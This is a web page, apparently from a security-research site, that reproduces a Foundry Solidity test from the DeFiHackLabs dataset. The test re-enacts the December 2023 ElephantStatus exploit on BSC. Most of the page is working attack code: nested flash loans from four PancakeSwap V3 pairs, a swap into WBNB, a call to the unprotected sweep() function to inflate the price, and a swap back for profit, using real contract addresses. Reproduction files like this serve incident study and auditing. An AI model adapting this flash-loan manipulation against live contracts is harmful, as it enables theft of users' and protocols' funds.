Public reproduction file

src/test/2023-12/ElephantStatus_exp.sol

Public reproduction file for dataset entry ElephantStatus.

Code

Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.

src/test/2023-12/ElephantStatus_exp.sol110 lines

1// SPDX-License-Identifier: UNLICENSED
2pragma solidity ^0.8.10;
3 
4import "forge-std/Test.sol";
5import "./../interface.sol";
6 
7// @KeyInfo - Total Lost : ~165K USD$
8// Attacker : https://bscscan.com/address/0xbbcc139933d1580e7c40442e09263e90e6f1d66d
9// Attack Contract : https://bscscan.com/address/0x69bd13f775505989883768ebd23d528c708d6bcf
10// Vulnerable Contract : https://bscscan.com/address/0x8cf0a553ab3896e4832ebcc519a7a60828ab5740
11// Attack Tx : https://explorer.phalcon.xyz/tx/bsc/0xd423ae0e95e9d6c8a89dcfed243573867e4aad29ee99a9055728cbbe0a523439
12 
13// @Analysis
14// https://twitter.com/Phalcon_xyz/status/1732354930529435940
15 
16interface IElephantStatus {
17    function sweep() external;
18}
19 
20contract ContractTest is Test {
21    Uni_Pair_V3 private constant USDC_BUSD = Uni_Pair_V3(0x22536030B9cE783B6Ddfb9a39ac7F439f568E5e6);
22    Uni_Pair_V3 private constant BUSDT_BUSD = Uni_Pair_V3(0x4f3126d5DE26413AbDCF6948943FB9D0847d9818);
23    Uni_Pair_V3 private constant WBNB_BUSD = Uni_Pair_V3(0x85FAac652b707FDf6907EF726751087F9E0b6687);
24    Uni_Pair_V3 private constant BTCB_BUSD = Uni_Pair_V3(0x369482C78baD380a036cAB827fE677C1903d1523);
25    Uni_Router_V2 private constant PancakeRouter = Uni_Router_V2(0x10ED43C718714eb63d5aA57B78B54704E256024E);
26    IERC20 private constant BUSD = IERC20(0xe9e7CEA3DedcA5984780Bafc599bD69ADd087D56);
27    IERC20 private constant WBNB = IERC20(0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c);
28    IElephantStatus private constant Elephant = IElephantStatus(0x8Cf0A553aB3896e4832ebCC519a7A60828AB5740);
29 
30    function setUp() public {
31        vm.createSelectFork("bsc", 34_114_760);
32        vm.label(address(USDC_BUSD), "USDC_BUSD");
33        vm.label(address(BUSDT_BUSD), "BUSDT_BUSD");
34        vm.label(address(WBNB_BUSD), "WBNB_BUSD");
35        vm.label(address(BTCB_BUSD), "BTCB_BUSD");
36        vm.label(address(PancakeRouter), "PancakeRouter");
37        vm.label(address(BUSD), "BUSD");
38        vm.label(address(WBNB), "WBNB");
39        vm.label(address(Elephant), "Elephant");
40    }
41 
42    function testExploit() public {
43        emit log_named_decimal_uint(
44            "Exploiter BUSD balance before attack", BUSD.balanceOf(address(this)), BUSD.decimals()
45        );
46 
47        USDC_BUSD.flash(
48            address(this),
49            0,
50            BUSD.balanceOf(address(USDC_BUSD)),
51            abi.encode(uint8(0), BUSD.balanceOf(address(USDC_BUSD)))
52        );
53 
54        emit log_named_decimal_uint(
55            "Exploiter BUSD balance after attack", BUSD.balanceOf(address(this)), BUSD.decimals()
56        );
57    }
58 
59    function pancakeV3FlashCallback(uint256 fee0, uint256 fee1, bytes calldata data) external {
60        uint8 num;
61        uint256 amount;
62        (num, amount) = abi.decode(data, (uint8, uint256));
63        if (num == uint8(0)) {
64            BUSDT_BUSD.flash(
65                address(this),
66                0,
67                BUSD.balanceOf(address(BUSDT_BUSD)),
68                abi.encode(uint8(1), BUSD.balanceOf(address(BUSDT_BUSD)))
69            );
70        } else if (num == uint8(1)) {
71            WBNB_BUSD.flash(
72                address(this),
73                0,
74                BUSD.balanceOf(address(WBNB_BUSD)),
75                abi.encode(uint8(2), BUSD.balanceOf(address(WBNB_BUSD)))
76            );
77        } else if (num == uint8(2)) {
78            BTCB_BUSD.flash(
79                address(this),
80                0,
81                BUSD.balanceOf(address(BTCB_BUSD)),
82                abi.encode(uint8(3), BUSD.balanceOf(address(BTCB_BUSD)))
83            );
84        } else {
85            BUSD.approve(address(PancakeRouter), type(uint256).max);
86            WBNB.approve(address(PancakeRouter), type(uint256).max);
87            BUSDToWBNB();
88            // Unprotected function here. Call to sweep will rise WBNB price
89            Elephant.sweep();
90            WBNBToBUSD();
91        }
92        BUSD.transfer(msg.sender, amount + fee1);
93    }
94 
95    function BUSDToWBNB() internal {
96        address[] memory path = new address[](2);
97        path[0] = address(BUSD);
98        path[1] = address(WBNB);
99        PancakeRouter.swapExactTokensForTokens(BUSD.balanceOf(address(this)), 0, path, address(this), block.timestamp);
100    }
101 
102    function WBNBToBUSD() internal {
103        address[] memory path = new address[](2);
104        path[0] = address(WBNB);
105        path[1] = address(BUSD);
106        PancakeRouter.swapExactTokensForTokensSupportingFeeOnTransferTokens(
107            WBNB.balanceOf(address(this)), 0, path, address(this), block.timestamp
108        );
109    }
110}

Analysis

Dataset entry

Public Foundry test for “ElephantStatus” (2023-12-06). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.

Related files

22 linked

Imports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.

src/test/2023-12/BCT_exp.solSame month in the dataset · 239 lines
src/test/2023-12/BEARNDAO_exp.solSame month in the dataset · 102 lines
src/test/2023-12/Bob_exp.solSame month in the dataset · 113 lines
src/test/2023-12/bZx_exp.solSame month in the dataset · 196 lines
src/test/2023-12/CCV_exp.solSame month in the dataset · 78 lines
src/test/2023-12/Channels_exp.solSame month in the dataset · 162 lines
src/test/2023-12/ChannelsFinance_exp.solSame month in the dataset · 212 lines
src/test/2023-12/DominoTT_exp.solSame month in the dataset · 123 lines
src/test/2023-12/FloorProtocol_exp.solSame month in the dataset · 76 lines
src/test/2023-12/GoodCompound_exp.solSame month in the dataset · 181 lines
src/test/2023-12/GoodDollar_exp.solSame month in the dataset · 175 lines
src/test/2023-12/HNet_exp.solSame month in the dataset · 123 lines
src/test/2023-12/HYPR_exp.solSame month in the dataset · 65 lines
src/test/2023-12/KEST_exp.solSame month in the dataset · 127 lines
src/test/2023-12/MAMO_exp.solSame month in the dataset · 75 lines
src/test/2023-12/NFTTrader_exp.solSame month in the dataset · 195 lines
src/test/2023-12/PHIL_exp.solSame month in the dataset · 53 lines
src/test/2023-12/PineProtocol_exp.solSame month in the dataset · 118 lines
src/test/2023-12/Telcoin_exp.solSame month in the dataset · 82 lines
src/test/2023-12/TIME_exp.solSame month in the dataset · 112 lines
src/test/2023-12/TransitFinance_exp.solSame month in the dataset · 117 lines
src/test/2023-12/UnverifiedContr_0x431abb_exp.solSame month in the dataset · 151 lines

Listed in the source file

Listed by the source dataset, not verified by ThreatWire

Attacker
0xbbcc139933d1580e7c40442e09263e90e6f1d66d
Attack Contract
0x69bd13f775505989883768ebd23d528c708d6bcf
Vulnerable Contract
0x8cf0a553ab3896e4832ebcc519a7a60828ab5740

Attack Tx
0xd423ae0e95e9d6c8a89dcfed243573867e4aad29ee99a9055728cbbe0a523439

File record

Name: ElephantStatus
Path: src/test/2023-12/ElephantStatus_exp.sol
Repository: SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
Commit: 7363f76db51f0fea97f8e659b20ee8bdc5fbca25
Blob: db1ce15cd29e76edacd458e2eddcf72b08c6a239
Language: Solidity
Size: 111 lines
Date: 2023-12-06
Licence: file header UNLICENSED; repository Apache-2.0
Retrieved: 2026-10-19

Provenance

Path src/test/2023-12/ElephantStatus_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob db1ce15cd29e76edacd458e2eddcf72b08c6a239, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.